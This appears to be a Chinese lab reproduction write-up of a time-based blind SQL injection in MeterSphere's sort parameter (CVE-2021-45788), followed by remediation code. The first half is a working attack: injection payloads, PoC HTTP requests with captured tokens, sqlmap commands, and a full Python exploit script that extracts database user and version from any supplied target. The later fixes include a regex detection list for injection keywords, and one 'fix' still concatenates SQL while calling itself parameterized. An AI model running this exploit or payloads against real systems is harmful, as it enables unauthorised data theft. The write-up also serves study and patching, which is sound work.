创作声明
AI创作声明
本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。
免责声明
本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。
版权声明
本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。
准备工作
Docker的常用命令
docker compose pull #将远程镜像拉取到本地
docker compose up -d #启动容器,并且不包含下载日志
docker ps #查看开放端口
docker compose logs #查看日志
docker compose down #销毁容器
docker compose build #重启容器
docker compose exec web bash #进入名为web的服务容器并打开 Bash 终端的命令
漏洞原理
CVE-2021-45788 是 Metersphere v1.15.4 中发现的 Time-based SQL 注入 漏洞,存在于 orders 参数的处理逻辑:该参数未正确进行消毒/参数化,从而使攻击者能够将恶意 SQL 代码注入到服务器与数据库之间的查询语句中。
漏洞本质
- 应用将
orders参数直接拼入 SQL 查询 - 未对特殊字符(如
' OR 1=1 --)等进行防护 - 导致数据库语句逻辑被攻击者控制
- 可借 time-based技术判断数据存在、执行任意 SQL 影响
- 攻击成果包括:数据泄露、数据篡改、权限提升乃至函数调用层面破坏程序逻辑
漏洞原理示意图
SQL注入Payload构造
正常排序请求:
GET /api/test-plan/list?orders=create_time DESC
恶意注入Payload:
orders=create_time DESC,
(CASE WHEN (SELECT SUBSTR(database(),1,1)='m') THEN SLEEP(5) ELSE 0 END)
生成的后端SQL:
SELECT * FROM test_plan
ORDER BY create_time DESC,
(CASE WHEN (SELECT SUBSTR(database(),1,1)='m') THEN SLEEP(5) ELSE 0 END)
执行逻辑:
1. 执行子查询:SELECT SUBSTR(database(),1,1)='m'
2. 如果返回true,执行SLEEP(5)
3. 如果返回false,返回0
4. 攻击者通过响应时间判断结果
数据提取过程
提取数据库名称(示例):
1. 判断数据库名第一个字符:
Payload: CASE WHEN (SELECT SUBSTR(database(),1,1)='a') THEN SLEEP(5) ELSE 0 END
响应延迟 → 是'a'
响应正常 → 不是'a'
2. 循环测试a-z, A-Z, 0-9, 特殊字符
最终确定第一个字符
3. 继续探测第二个字符:
Payload: CASE WHEN (SELECT SUBSTR(database(),2,1)='b') THEN SLEEP(5) ELSE 0 END
4. 重复直到获取完整数据库名
提取表数据:
Payload: CASE WHEN (SELECT SUBSTR(
(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1),
1,1)='u') THEN SLEEP(5) ELSE 0 END
flowchart TD
subgraph "阶段1: 信息收集与注入点确定"
A1[攻击者扫描目标] --> A2[识别MeterSphere应用]
A2 --> A3[枚举API接口]
A3 --> A4[发现支持排序的接口]
A4 --> A5[测试排序参数orders]
A5 --> A6[确认存在SQL注入漏洞]
end
subgraph "阶段2: 时间盲注载荷构造"
B1[分析排序参数orders] --> B2[构造基础注入载荷]
B2 --> B3[添加CASE WHEN条件判断]
B3 --> B4[嵌入SLEEP延时函数]
B4 --> B5[构造完整Payload]
B5 --> B6[示例: CASE WHEN 条件 THEN SLEEP5 ELSE 0 END]
end
subgraph "阶段3: SQL执行与响应分析"
C1[发送恶意请求] --> C2[后端拼接SQL语句]
C2 --> C3[MySQL执行查询]
C3 --> C4[条件判断执行]
C4 --> C5[响应时间差异]
C5 --> C6[延迟响应: 条件为真]
C5 --> C7[正常响应: 条件为假]
C6 --> C8[记录为1 bit信息]
C7 --> C9[记录为0 bit信息]
end
subgraph "阶段4: 自动化数据提取"
D1[编写Python自动化脚本] --> D2[设置目标字符集]
D2 --> D3[定义探测逻辑]
D3 --> D4[逐位探测数据库信息]
D4 --> D5[探测数据库名称]
D5 --> D6[探测表名]
D6 --> D7[探测列名]
D7 --> D8[探测数据内容]
D8 --> D9[获取管理员密码哈希]
D8 --> D10[获取用户敏感信息]
D8 --> D11[获取系统配置数据]
end
A6 --> B1
B6 --> C1
C9 --> D1
style A6 fill:#ffcccc
style B6 fill:#ff9999
style C4 fill:#ff6666
style C6 fill:#ff3333
style D4 fill:#cc0000
style D9 fill:#990000
- DFD(数据流 + STRIDE)
[Attacker]
|
| (1) HTTP malicious request
v
[Metersphere API Handler]
|
| (2) Unsanitized parameter usage
v
[SQL Builder/DB Access]
|
| (3) DB executes malformed query
v
[Database]
STRIDE 威胁维度
| 类别 | 是否 | 说明 |
|---|---|---|
| Spoofing | ❌ | 无需伪造身份 |
| Tampering | ✅ | 注入破坏查询 |
| Repudiation | ⚠️ | 审计难与合法用户区分 |
| Information Disclosure | ✅ | 可泄露敏感数据 |
| Denial of Service | ⚠️ | 可耗尽资源 |
| Elevation of Privilege | ⚠️ | 可能间接改变权限 |
漏洞复现原理图示说明
sequenceDiagram
participant A as 攻击者
participant MS as MeterSphere后端
participant DB as MySQL数据库
participant S as 自动化脚本
Note over A: 阶段1: 探测注入点
A->>MS: 1. 发送测试请求<br>测试排序参数orders
MS->>DB: 2. 执行测试查询
DB->>MS: 3. 返回测试结果
MS->>A: 4. 返回响应
Note over A: 确认存在SQL注入漏洞
A->>S: 5. 启动自动化脚本
loop 逐位探测循环
Note over S: 针对每个字符位
S->>MS: 6. 发送时间盲注请求<br>Payload: CASE WHEN 条件 THEN SLEEP5 ELSE 0 END
MS->>DB: 7. 拼接并执行SQL
DB->>DB: 8. 判断条件真假
alt 条件为真
DB->>DB: 9. 执行SLEEP5
DB->>MS: 10. 延迟后返回结果
MS->>S: 11. 延迟响应
S->>S: 12. 记录该位为1
else 条件为假
DB->>MS: 9. 立即返回结果
MS->>S: 10. 正常响应
S->>S: 11. 记录该位为0
end
end
S->>S: 13. 组合所有位数据
S->>A: 14. 输出获取的敏感数据
Note over A: 获得数据库名称、管理员哈希等
在 MyBatis 或类似的 ORM 框架中,如果使用 ${} 而非 #{} 来处理排序字段,就会产生此类漏洞。
复现请求示例(PoC):
GET /api/test/plan/list/1/10?orders=[{"name":"(CASE WHEN (ASCII(SUBSTRING(DATABASE(),1,1))>100) THEN SLEEP(5) ELSE 1 END)","order":"desc"}] HTTP/1.1
Host: metersphere-host
Authorization: Bearer <valid_token>
原理拆解:
- 正常 SQL:
SELECT * FROM test_plan ORDER BY name desc - 注入后 SQL:
SELECT * FROM test_plan ORDER BY (CASE WHEN (1=1) THEN SLEEP(5) ELSE 1 END) desc - 关键点:由于
ORDER BY后面需要的是列名,大多数防御性全局过滤器(WAF)可能对复杂的逻辑表达式检查不足,导致注入成功。
漏洞复现
启动命令
docker pull
docker compose up -d
docker ps #-a可选
关闭命令
docker compose down
使用docker启动命令,然后打开url:http://your-ip:8081/ 。kali中可以通过ifconfig ,ip -a,hostname -I(i的大写字母)查看your-ip。
一般而言,这种漏洞复现环境都是弱口令,所以相对比较容易登录。这里利用admin:metersphere这组账号密码登录。我们在/#/track/case/all路由按如下的数字顺序进行简单的操作。
接下来对/test/case/list/1/10得到的数据包进行抓包重放。注意这里的CSRF_TOKEN和Cookie必须替换为你自己的。
这里的Cookie由于作者打开了多个靶场,并且没有清除老旧的Cookie,所以实际可能会略微有所不同。
POST /test/case/list/1/10 HTTP/1.1
Host: localhost.lan:8081 //localhost.lan也可以改为自己的ip,使用exp时删去注释
Content-Length: 3149
Accept: application/json, text/plain, */*
CSRF-TOKEN: fXx2lJHlPYUA1mmtPn69Bhxtx7UVXEz676ScrXnOlFyUcUPQ0hrM9pjbe4U23MDLdURgu8bAJTZdIdVUYsbaOg==
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
Cookie: Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1733898529; skinName=skin-blue3; pageNo=1; pageSize=20; MS_SESSION_ID=2aad45b5-a17a-4a02-8e5d-0321805852d0
Connection: close
{"orders":[{"name":"name","type":",if(1=1,sleep(10),sleep(0))"}],"components":[{"key":"name","name":"MsTableSearchInput","label":"commons.name","operator":{"value":"like","options":[{"label":"commons.adv_search.operators.like","value":"like"},{"label":"commons.adv_search.operators.not_like","value":"not like"}]}},{"key":"tags","name":"MsTableSearchInput","label":"commons.tag","operator":{"value":"like","options":[{"label":"commons.adv_search.operators.like","value":"like"},{"label":"commons.adv_search.operators.not_like","value":"not like"}]}},{"key":"module","name":"MsTableSearchInput","label":"test_track.case.module","operator":{"value":"like","options":[{"label":"commons.adv_search.operators.like","value":"like"},{"label":"commons.adv_search.operators.not_like","value":"not like"}]}},{"key":"priority","name":"MsTableSearchSelect","label":"test_track.case.priority","operator":{"options":[{"label":"commons.adv_search.operators.in","value":"in"},{"label":"commons.adv_search.operators.not_in","value":"not in"}]},"options":[{"label":"P0","value":"P0"},{"label":"P1","value":"P1"},{"label":"P2","value":"P2"},{"label":"P3","value":"P3"}],"props":{"multiple":true}},{"key":"createTime","name":"MsTableSearchDateTimePicker","label":"commons.create_time","operator":{"options":[{"label":"commons.adv_search.operators.between","value":"between"},{"label":"commons.adv_search.operators.gt","value":"gt"},{"label":"commons.adv_search.operators.ge","value":"ge"},{"label":"commons.adv_search.operators.lt","value":"lt"},{"label":"commons.adv_search.operators.le","value":"le"},{"label":"commons.adv_search.operators.equals","value":"eq"}]}},{"key":"updateTime","name":"MsTableSearchDateTimePicker","label":"commons.update_time","operator":{"options":[{"label":"commons.adv_search.operators.between","value":"between"},{"label":"commons.adv_search.operators.gt","value":"gt"},{"label":"commons.adv_search.operators.ge","value":"ge"},{"label":"commons.adv_search.operators.lt","value":"lt"},{"label":"commons.adv_search.operators.le","value":"le"},{"label":"commons.adv_search.operators.equals","value":"eq"}]}},{"key":"creator","name":"MsTableSearchSelect","label":"api_test.creator","operator":{"options":[{"label":"commons.adv_search.operators.in","value":"in"},{"label":"commons.adv_search.operators.not_in","value":"not in"},{"label":"commons.adv_search.operators.current_user","value":"current user"}]},"options":{"url":"/user/list","labelKey":"name","valueKey":"id"},"props":{"multiple":true}},{"key":"reviewStatus","name":"MsTableSearchSelect","label":"test_track.review_view.execute_result","operator":{"options":[{"label":"commons.adv_search.operators.in","value":"in"},{"label":"commons.adv_search.operators.not_in","value":"not in"}]},"options":[{"label":"test_track.review.prepare","value":"Prepare"},{"label":"test_track.review.pass","value":"Pass"},{"label":"test_track.review.un_pass","value":"UnPass"}],"props":{"multiple":true}}],"filters":{"reviewStatus":["Prepare","Pass","UnPass"]},"planId":"","nodeIds":[],"selectAll":false,"unSelectIds":[],"selectThisWeedData":false,"selectThisWeedRelevanceData":false,"caseCoverage":null}
时间为真的验证,详情附近的响应时间为10028ms,略大于10s,说明sleep(10)执行成功。
同理,时间验证为假时sleep(0)执行成功。
这时候我们做好先写入req.txt的准备,以供sqlmap加载使用。其实req.txt就是上述验证时间盲注的任意一个数据包里的Request,下面以验证为假的Request为基准。
sqlmap -r req.txt --dbms mysql --technique T --prefix , --level 3
sqlmap -r req.txt --dbms mysql --technique T --prefix , --level 3 --current-user
自己根据上述经验结合ai写的脚本,不知道为啥用户名的结果跟sqlmap跑出来的略微有些不同。
#!/usr/bin/env python3
"""
基于时间盲注的SQL注入自动化脚本
目标:MeterSphere CVE-2021-45788
作者:安全测试
"""
import requests
import json
import time
import argparse
from urllib.parse import urlparse
import sys
class TimeBasedSQLiExploit:
def __init__(self, target_url, req_file="req.txt"):
"""
初始化盲注攻击器
"""
self.target_url = target_url.rstrip('/')
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json, text/plain, */*',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7',
'Connection': 'close'
})
# 从req.txt加载请求配置
self.load_request_config(req_file)
# 基础延迟配置
self.base_time = 0 # 正常响应基准时间
self.delay_threshold = 2.0 # 延迟判断阈值(秒)
self.timeout = 30 # 请求超时时间
print(f"[+] 目标: {self.target_url}")
print(f"[+] 请求路径: {self.path}")
def load_request_config(self, req_file):
"""
从req.txt加载原始HTTP请求配置
"""
try:
with open(req_file, 'r') as f:
lines = f.readlines()
# 解析请求行
request_line = lines[0].strip()
method, self.path, http_version = request_line.split(' ')
# 解析请求头
headers = {}
body_start = 0
for i, line in enumerate(lines[1:], 1):
line = line.strip()
if not line: # 空行表示头部结束
body_start = i + 1
break
if ': ' in line:
key, value = line.split(': ', 1)
headers[key] = value
# 解析请求体
self.request_body = '\n'.join(lines[body_start:]).strip()
# 更新session的headers
for key, value in headers.items():
if key not in ['Content-Length', 'Host', 'Connection']:
self.session.headers[key] = value
# 解析JSON体
self.json_data = json.loads(self.request_body)
print(f"[+] 成功加载请求配置")
print(f"[+] CSRF Token: {headers.get('CSRF-TOKEN', 'Not Found')[:20]}...")
print(f"[+] Session ID: {headers.get('Cookie', 'Not Found')[:30]}...")
except Exception as e:
print(f"[-] 加载req.txt失败: {e}")
sys.exit(1)
def send_request(self, payload, verbose=False):
"""
发送带有payload的请求,返回响应时间和状态
"""
# 修改JSON中的注入点
modified_data = self.json_data.copy()
if 'orders' in modified_data and len(modified_data['orders']) > 0:
# 注入点在orders[0]['type']字段
modified_data['orders'][0]['type'] = payload
# 发送请求
start_time = time.time()
try:
response = self.session.post(
f"{self.target_url}{self.path}",
json=modified_data,
timeout=self.timeout,
verify=False # 忽略SSL验证
)
elapsed = time.time() - start_time
if verbose:
print(f" Payload: {payload}")
print(f" 响应时间: {elapsed:.2f}s, 状态码: {response.status_code}")
return elapsed, response.status_code, response.text
except requests.exceptions.Timeout:
print(f"[!] 请求超时 (>{self.timeout}s)")
return self.timeout + 1, 0, "TIMEOUT"
except Exception as e:
print(f"[-] 请求错误: {e}")
return 0, 0, f"ERROR: {e}"
def calibrate_base_time(self):
"""
校准基准响应时间
"""
print("[*] 校准基准响应时间...")
# 发送不包含sleep的payload
normal_payload = ",if(1=1,0,0)"
times = []
for i in range(3):
elapsed, status, _ = self.send_request(normal_payload)
if status == 200:
times.append(elapsed)
time.sleep(0.5)
if times:
self.base_time = sum(times) / len(times)
print(f"[+] 基准响应时间: {self.base_time:.2f}s")
else:
self.base_time = 1.0
print(f"[!] 无法校准,使用默认值: {self.base_time:.2f}s")
# 测试延迟注入是否有效
test_payload = f",if(1=1,sleep({self.delay_threshold}),0)"
elapsed, status, _ = self.send_request(test_payload, verbose=True)
if elapsed > self.base_time + self.delay_threshold - 0.5:
print(f"[+] 延迟注入有效! 响应时间: {elapsed:.2f}s")
return True
else:
print(f"[-] 延迟注入可能无效! 响应时间: {elapsed:.2f}s")
return False
def test_condition(self, condition):
"""
测试SQL条件是否为真(基于时间延迟)
返回: True如果条件为真,False为假
"""
# 构造时间盲注payload
payload_true = f",if(({condition}),sleep({self.delay_threshold}),0)"
payload_false = f",if(({condition}),0,sleep({self.delay_threshold}))"
# 发送true条件的payload
time_true, status_true, _ = self.send_request(payload_true)
# 发送false条件的payload
time.sleep(0.5) # 避免请求过密
time_false, status_false, _ = self.send_request(payload_false)
# 判断哪个响应时间更长
if time_true > time_false and time_true > self.base_time + self.delay_threshold - 0.5:
return True
elif time_false > time_true and time_false > self.base_time + self.delay_threshold - 0.5:
return False
else:
# 不确定,可能需要重试
return None
def get_current_user_length(self):
"""
获取当前用户的长度
"""
print("[*] 获取当前用户长度...")
max_length = 100
for length in range(1, max_length + 1):
condition = f"length(user())={length}"
result = self.test_condition(condition)
if result is True:
print(f"[+] 当前用户长度: {length}")
return length
elif result is None:
print(f"[!] 测试不确定,重试中...")
# 重试一次
result = self.test_condition(condition)
if result is True:
print(f"[+] 当前用户长度: {length}")
return length
print("[-] 无法确定用户长度")
return None
def get_current_user(self, length=None):
"""
获取当前数据库用户
"""
if length is None:
length = self.get_current_user_length()
if length is None:
return None
print(f"[*] 获取当前用户 (长度: {length})...")
# 字符集(根据实际情况调整)
charset = "0123456789" + \
"abcdefghijklmnopqrstuvwxyz" + \
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" + \
"!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~" + \
" "
user = ""
for position in range(1, length + 1):
found = False
# 先测试是否为数字或常见特殊字符
test_chars = "0123456789@._-"
for char in test_chars:
hex_char = hex(ord(char))[2:]
condition = f"hex(substr(user(),{position},1))='{hex_char}'"
result = self.test_condition(condition)
if result is True:
user += char
found = True
print(f" 位置 {position}: {char}")
break
elif result is None:
# 重试
result = self.test_condition(condition)
if result is True:
user += char
found = True
print(f" 位置 {position}: {char}")
break
if not found:
# 二分法搜索字母
low, high = 0, len(charset) - 1
while low <= high:
mid = (low + high) // 2
mid_char = charset[mid]
# 测试是否小于等于中间字符
hex_mid = hex(ord(mid_char))[2:]
condition = f"ascii(substr(user(),{position},1))<=ascii('{mid_char}')"
result = self.test_condition(condition)
if result is None:
# 重试
result = self.test_condition(condition)
if result is True:
high = mid - 1
# 检查是否等于中间字符
condition_eq = f"substr(user(),{position},1)='{mid_char}'"
result_eq = self.test_condition(condition_eq)
if result_eq is True:
user += mid_char
print(f" 位置 {position}: {mid_char}")
found = True
break
else:
low = mid + 1
if not found:
# 尝试直接遍历
for char in charset:
condition = f"substr(user(),{position},1)='{char}'"
result = self.test_condition(condition)
if result is True:
user += char
print(f" 位置 {position}: {char} (遍历找到)")
found = True
break
if not found:
print(f"[-] 无法确定位置 {position} 的字符")
user += "?"
return user
def test_vulnerability(self):
"""
测试漏洞是否存在
"""
print("[*] 测试漏洞是否存在...")
# 测试1: 基本延迟
payload = f",if(1=1,sleep({self.delay_threshold}),0)"
elapsed, status, _ = self.send_request(payload)
if elapsed > self.base_time + self.delay_threshold - 0.5:
print(f"[+] 漏洞存在! 延迟响应: {elapsed:.2f}s")
return True
else:
print(f"[-] 可能不存在漏洞,响应时间: {elapsed:.2f}s")
# 尝试其他payload
test_payloads = [
f",sleep({self.delay_threshold})",
f"',sleep({self.delay_threshold}),'",
f",1,sleep({self.delay_threshold})"
]
for payload in test_payloads:
elapsed, status, _ = self.send_request(payload)
if elapsed > self.delay_threshold:
print(f"[+] 使用payload '{payload}' 检测到漏洞!")
return True
time.sleep(1)
return False
def run(self):
"""
运行完整的攻击流程
"""
print("=" * 60)
print("MeterSphere CVE-2021-45788 时间盲注利用脚本")
print("=" * 60)
# 1. 校准基准时间
if not self.calibrate_base_time():
print("[-] 基准校准失败,可能漏洞不存在")
return
# 2. 测试漏洞
if not self.test_vulnerability():
print("[-] 漏洞测试失败")
return
print("[+] 漏洞确认,开始利用...")
# 3. 获取当前用户
print("\n[*] 阶段1: 获取数据库当前用户")
current_user = self.get_current_user()
if current_user:
print(f"[+] 当前数据库用户: {current_user}")
else:
print("[-] 无法获取当前用户")
# 4. 可以扩展其他功能
# 例如:获取数据库版本、数据库名等
print("\n[*] 阶段2: 获取数据库信息")
# 获取数据库版本长度
print("[*] 获取数据库版本长度...")
for length in range(1, 100):
condition = f"length(version())={length}"
result = self.test_condition(condition)
if result is True:
print(f"[+] 数据库版本长度: {length}")
# 获取版本信息(简化版,实际需要完整实现)
# 这里只演示获取前几个字符
version_prefix = ""
for pos in range(1, min(10, length) + 1):
for char in "0123456789.":
condition = f"substr(version(),{pos},1)='{char}'"
result = self.test_condition(condition)
if result is True:
version_prefix += char
break
print(f"[+] 数据库版本前{len(version_prefix)}位: {version_prefix}")
break
print("\n[+] 利用完成!")
def main():
parser = argparse.ArgumentParser(description='MeterSphere CVE-2021-45788 时间盲注利用工具')
parser.add_argument('-u', '--url', required=True, help='目标URL (如: http://192.168.0.32:8081)')
parser.add_argument('-r', '--request', default='req.txt', help='请求文件路径 (默认: req.txt)')
parser.add_argument('-t', '--delay', type=float, default=2.0, help='延迟时间阈值 (默认: 2.0秒)')
args = parser.parse_args()
# 创建利用对象
exploit = TimeBasedSQLiExploit(args.url, args.request)
exploit.delay_threshold = args.delay
# 运行攻击
exploit.run()
if __name__ == "__main__":
# 禁用SSL警告
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
main()
运行脚本
基本使用:
python3 metersphere_exploit.py -u http://192.168.0.32:8081
指定自定义延迟时间:
python3 metersphere_exploit.py -u http://192.168.0.32:8081 -t 3
使用自定义请求文件:
python3 metersphere_exploit.py -u http://192.168.0.32:8081 -r my_request.txt
脚本功能说明
| 功能 | 说明 |
|---|---|
| 自动校准 | 测量正常响应时间作为基准 |
| 漏洞验证 | 测试时间盲注是否有效 |
| 获取用户 | 自动化获取当前数据库用户 |
| 获取版本 | 尝试获取数据库版本信息 |
| 智能重试 | 对不确定的结果自动重试 |
| 详细输出 | 显示每个步骤的进度和结果 |
| 我的担心是多余的,主要还是自己的查询用户不一样。 |
快速修改(推荐)
在你的 get_current_user_length() 和 get_current_user() 方法中,将 user() 替换为 current_user():
def get_current_user_length(self):
"""获取当前用户的长度 - 使用current_user()"""
print("[*] 获取当前用户长度...")
max_length = 100
for length in range(1, max_length + 1):
# 将 user() 改为 current_user()
condition = f"length(current_user())={length}"
result = self.test_condition(condition)
if result is True:
print(f"[+] 当前用户长度: {length}")
return length
elif result is None:
print(f"[!] 测试不确定,重试中...")
result = self.test_condition(condition)
if result is True:
print(f"[+] 当前用户长度: {length}")
return length
print("[-] 无法确定用户长度")
return None
def get_current_user(self, length=None):
"""获取当前数据库用户 - 使用current_user()"""
if length is None:
length = self.get_current_user_length()
if length is None:
return None
print(f"[*] 获取当前用户 (长度: {length})...")
# 在所有的查询条件中,将 user() 改为 current_user()
# 例如:
# condition = f"substr(current_user(),{position},1)='{char}'"
# 而不是:condition = f"substr(user(),{position},1)='{char}'"
# ... [保持其他代码不变,只替换函数名] ...
以上是详细的查看与sqlmap同样用户名的解决方案。
修复建议
- 升级版本:立即升级至 MeterSphere v1.15.5 或更高版本,官方已通过白名单方式修复此漏洞。
- 字段白名单(推荐):定义允许排序的列名集合。如果传入的
orders参数不在白名单内,则抛出异常或使用默认排序字段。 - 正则校验:对
type字段进行严格的正则表达式校验,仅允许字母、数字和下划线,禁止括号、逗号等符号。 - ORM 安全配置:在 MyBatis 中,对于
ORDER BY必须使用白名单过滤,严禁直接透传前端${}变量。
伪代码级修复示例
修复的核心在于切断用户输入与 SQL 执行链之间的直接映射。
❌ 漏洞代码(直接拼接)
// 在对应的 Mapper 配置文件或 DAO 层中
@Select("SELECT * FROM test_plan WHERE project_id = #{projectId} ORDER BY ${orderColumn} ${orderType}")
List<TestPlan> listPlans(@Param("projectId") String pid, @Param("orderColumn") String column, @Param("orderType") String type);
// 在 Service 层中
public void getPlans(OrderRequest req) {
// 危险:req.getName() 直接被当作 orderColumn 传入了 ${}
return testPlanMapper.listPlans(req.getProjectId(), req.getName(), req.getOrder());
}
✅ 修复后代码(白名单过滤)
public class SQLSafeUtil {
// 1. 定义允许排序的白名单
private static final Set<String> ALLOWED_COLUMNS =
Stream.of("id", "name", "create_time", "update_time").collect(Collectors.toSet());
public static String sanitizeColumn(String input) {
if (input == null) return "create_time";
// 2. 转换为小写并检查是否存在于白名单中
String lowerInput = input.toLowerCase().trim();
if (ALLOWED_COLUMNS.contains(lowerInput)) {
return lowerInput;
}
// 3. 非法输入则返回默认字段,并记录安全日志
SecurityLogger.warn("Detected invalid order column attempt: " + input);
return "create_time";
}
}
// Service 层修复
public void getPlans(OrderRequest req) {
// 修复:强制经过过滤层,确保进入 SQL 的字符串是预定义的
String safeColumn = SQLSafeUtil.sanitizeColumn(req.getName());
String safeOrder = "DESC".equalsIgnoreCase(req.getOrder()) ? "DESC" : "ASC";
return testPlanMapper.listPlans(req.getProjectId(), safeColumn, safeOrder);
}
修复方案
修复方案1:输入验证和过滤
// 修复前的漏洞代码
public List<TestPlan> listTestPlans(TestPlanRequest request) {
String orderBy = request.getOrders();
// 漏洞:直接拼接orders参数
String sql = "SELECT * FROM test_plan ORDER BY " + orderBy;
return jdbcTemplate.query(sql, new TestPlanRowMapper());
}
// 修复后的安全代码
public List<TestPlan> listTestPlans(TestPlanRequest request) {
// 1. 验证orders参数
String orderBy = sanitizeOrderBy(request.getOrders());
// 2. 使用参数化查询
String sql = "SELECT * FROM test_plan";
if (StringUtils.isNotBlank(orderBy)) {
sql += " ORDER BY " + orderBy;
}
return jdbcTemplate.query(sql, new TestPlanRowMapper());
}
private String sanitizeOrderBy(String orderBy) {
if (StringUtils.isBlank(orderBy)) {
return "";
}
// 3. 白名单验证:只允许特定的列名和排序方式
String[] allowedColumns = {
"create_time", "update_time", "name", "status", "creator"
};
String[] parts = orderBy.split(",");
List<String> safeParts = new ArrayList<>();
for (String part : parts) {
part = part.trim();
String[] columnOrder = part.split("\\s+");
if (columnOrder.length == 0) {
continue;
}
String column = columnOrder[0];
String order = (columnOrder.length > 1) ? columnOrder[1] : "ASC";
// 检查列名是否在白名单中
boolean columnAllowed = false;
for (String allowed : allowedColumns) {
if (allowed.equalsIgnoreCase(column)) {
columnAllowed = true;
break;
}
}
if (!columnAllowed) {
// 记录安全事件
logSecurityAlert("Invalid order by column: " + column);
continue;
}
// 检查排序方式
if (!"ASC".equalsIgnoreCase(order) && !"DESC".equalsIgnoreCase(order)) {
order = "ASC";
}
safeParts.add(column + " " + order);
}
return String.join(", ", safeParts);
}
修复方案2:使用安全的排序映射
// 安全的排序参数处理
@Component
public class OrderBySanitizer {
private final Map<String, String> columnMapping = new HashMap<>();
public OrderBySanitizer() {
// 定义安全的列名映射
columnMapping.put("createTime", "create_time");
columnMapping.put("updateTime", "update_time");
columnMapping.put("name", "name");
columnMapping.put("status", "status");
columnMapping.put("creator", "creator");
}
public String sanitize(OrderRequest request) {
if (request == null || request.getOrders() == null) {
return "";
}
List<OrderItem> orderItems = request.getOrders();
List<String> safeOrderParts = new ArrayList<>();
for (OrderItem item : orderItems) {
String column = item.getColumn();
String direction = item.getDirection();
// 验证列名
if (!columnMapping.containsKey(column)) {
log.warn("Invalid order column requested: {}", column);
continue;
}
// 映射到数据库列名
String dbColumn = columnMapping.get(column);
// 验证排序方向
if (!"ASC".equalsIgnoreCase(direction) && !"DESC".equalsIgnoreCase(direction)) {
direction = "ASC";
}
safeOrderParts.add(dbColumn + " " + direction);
}
if (safeOrderParts.isEmpty()) {
return "";
}
return "ORDER BY " + String.join(", ", safeOrderParts);
}
// 使用DTO接收排序参数
@Data
public static class OrderRequest {
private List<OrderItem> orders;
}
@Data
public static class OrderItem {
private String column;
private String direction = "ASC";
}
}
// 在控制器中使用
@RestController
@RequestMapping("/api/test-plan")
public class TestPlanController {
private final OrderBySanitizer orderBySanitizer;
private final TestPlanService testPlanService;
@GetMapping("/list")
public ResponseEntity<?> listTestPlans(
@RequestParam(defaultValue = "1") int page,
@RequestParam(defaultValue = "10") int limit,
@RequestParam(required = false) String orders) {
try {
// 解析排序参数
OrderRequest orderRequest = parseOrderRequest(orders);
// 安全处理排序
String safeOrderBy = orderBySanitizer.sanitize(orderRequest);
// 执行查询
List<TestPlan> plans = testPlanService.getTestPlans(page, limit, safeOrderBy);
return ResponseEntity.ok(plans);
} catch (IllegalArgumentException e) {
return ResponseEntity.badRequest().body("Invalid order parameters");
}
}
private OrderRequest parseOrderRequest(String orders) {
OrderRequest request = new OrderRequest();
if (StringUtils.isBlank(orders)) {
return request;
}
List<OrderItem> orderItems = new ArrayList<>();
String[] parts = orders.split(",");
for (String part : parts) {
String[] columnOrder = part.trim().split("\\s+");
if (columnOrder.length == 0) {
continue;
}
OrderItem item = new OrderItem();
item.setColumn(columnOrder[0]);
if (columnOrder.length > 1) {
item.setDirection(columnOrder[1]);
}
orderItems.add(item);
}
request.setOrders(orderItems);
return request;
}
}
修复方案3:SQL注入检测和阻止
// SQL注入检测拦截器
@Component
public class SqlInjectionInterceptor implements HandlerInterceptor {
private static final Pattern[] SQL_INJECTION_PATTERNS = {
Pattern.compile("(?i)(select|insert|update|delete|drop|alter|create|truncate)"),
Pattern.compile("(?i)(union\\s+select)"),
Pattern.compile("(?i)(sleep\\s*\\(|benchmark\\s*\\()"),
Pattern.compile("(?i)(case\\s+when)"),
Pattern.compile("(?i)(information_schema|sys\\.)"),
Pattern.compile("(?i)(--|#|/\\*|\\*/)"),
Pattern.compile("(?i)(;|'|\"|\\\\|%)")
};
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
// 检查查询参数
Map<String, String[]> params = request.getParameterMap();
for (Map.Entry<String, String[]> entry : params.entrySet()) {
String paramName = entry.getKey();
String[] values = entry.getValue();
for (String value : values) {
if (value != null && containsSqlInjection(value)) {
// 记录安全事件
logSecurityEvent(request, paramName, value);
// 返回错误响应
response.setStatus(HttpStatus.BAD_REQUEST.value());
response.getWriter().write("Invalid request parameters");
return false;
}
}
}
return true;
}
private boolean containsSqlInjection(String input) {
if (input == null) {
return false;
}
for (Pattern pattern : SQL_INJECTION_PATTERNS) {
if (pattern.matcher(input).find()) {
return true;
}
}
return false;
}
private void logSecurityEvent(HttpServletRequest request, String param, String value) {
String ip = request.getRemoteAddr();
String uri = request.getRequestURI();
String userAgent = request.getHeader("User-Agent");
log.warn("Potential SQL injection detected - IP: {}, URI: {}, Param: {}, Value: {}, UA: {}",
ip, uri, param, value.substring(0, Math.min(value.length(), 100)), userAgent);
}
}
// 在WebMvcConfig中注册拦截器
@Configuration
public class WebSecurityConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new SqlInjectionInterceptor())
.addPathPatterns("/api/**")
.excludePathPatterns("/api/public/**");
}
}
修复方案4:数据库权限加固
-- 创建只读应用用户
CREATE USER 'metersphere_app'@'%' IDENTIFIED BY 'StrongPassword123!';
GRANT SELECT ON metersphere.* TO 'metersphere_app'@'%';
-- 撤销危险权限
